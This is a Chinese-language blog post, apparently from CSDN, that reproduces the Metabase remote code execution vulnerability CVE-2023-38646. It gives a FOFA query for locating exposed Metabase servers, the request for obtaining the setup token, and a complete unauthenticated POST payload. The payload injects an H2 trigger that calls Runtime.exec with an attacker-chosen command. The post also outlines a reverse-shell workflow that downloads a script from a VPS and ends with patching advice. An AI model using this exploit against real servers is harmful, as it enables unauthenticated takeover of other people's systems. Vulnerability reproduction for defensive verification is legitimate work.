Metabase RCE漏洞复现(CVE-2023-38646)

0x01 产品简介

      Metabase是一个开源的数据分析和可视化工具,它可以帮助用户轻松地连接到各种数据源,包括数据库、云服务和API,然后使用直观的界面进行数据查询、分析和可视化。

0x02 漏洞概述

   未经身份认证的远程攻击者利用该漏洞可以在服务器上以运行 Metabase 服务器的权限执行任意命令。

值得注意的是,修复后的版本也需要在完成安装后才可修复漏洞,否则依旧存在被攻击者利用的可能性。

0x03 影响范围

Metabase open source 0.46 < 0.46.6.1

Metabase Enterprise 1.46 < 1.46.6.1

Metabase open source 0.45 < v0.45.4.1

Metabase Enterprise 1.45 < 1.45.4.1

Metabase open source 0.44 < 0.44.7.1

Metabase Enterprise 1.44 < 1.44.7.1

Metabase open source 0.43 < 0.43.7.2

Metabase Enterprise 1.43 < 1.43.7.2

0x04 复现环境

FOFA:app="Metabase"

0x05 漏洞复现 

exp

POST /api/setup/validate HTTP/1.1
Host: your-ip
Content-Type: application/json

{
    "token": "token值",
    "details":
    {
        "is_on_demand": false,
        "is_full_sync": false,
        "is_sample": false,
        "cache_ttl": null,
        "refingerprint": false,
        "auto_run_queries": true,
        "schedules":
        {},
        "details":
        {
            "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('执行的命令')\n$$--=x",
            "advanced-options": false,
            "ssl": true
        },
        "name": "test",
        "engine": "h2"
    }
}

PS:该手法只是针对H2数据库的深入利用 

获取有效token

GET /api/session/properties HTTP/1.1
Host: your-ip

 DNSlog验证

 反弹shell

PS:直接反弹不了的环境,可尝试以下手法

编写个反弹shell脚本

python搭建http服务器,让目标下载脚本 

可以看到,成功下载 

VPS开启监听,执行脚本 

成功反弹 

 0x06 修复建议

临时缓解方案

通过网络ACL策略限制访问来源,例如只允许来自特定IP地址或地址段的访问请求。

升级修复方案

官方已经推出了新的修复版本。建议所有受影响的用户尽快访问官方网站,更新至相应的安全版本。

对于开源版本的用户,由于官方还未发布修复的源代码,可以直接从 release 页面下载预打包的 jar 文件进行使用

对于使用 Docker 版本的用户,只需拉取最新版本的镜像进行更新。然而在开始升级前,务必确保已经对数据进行了备份。

另外不论使用什么修复版本,都需要确保应用完成安装过程可正常登录使用才可修复漏洞。同时作为安全建议,应该及时下线一些不使用的服务。

猜你喜欢

转载自blog.csdn.net/qq_41904294/article/details/131990310
今日推荐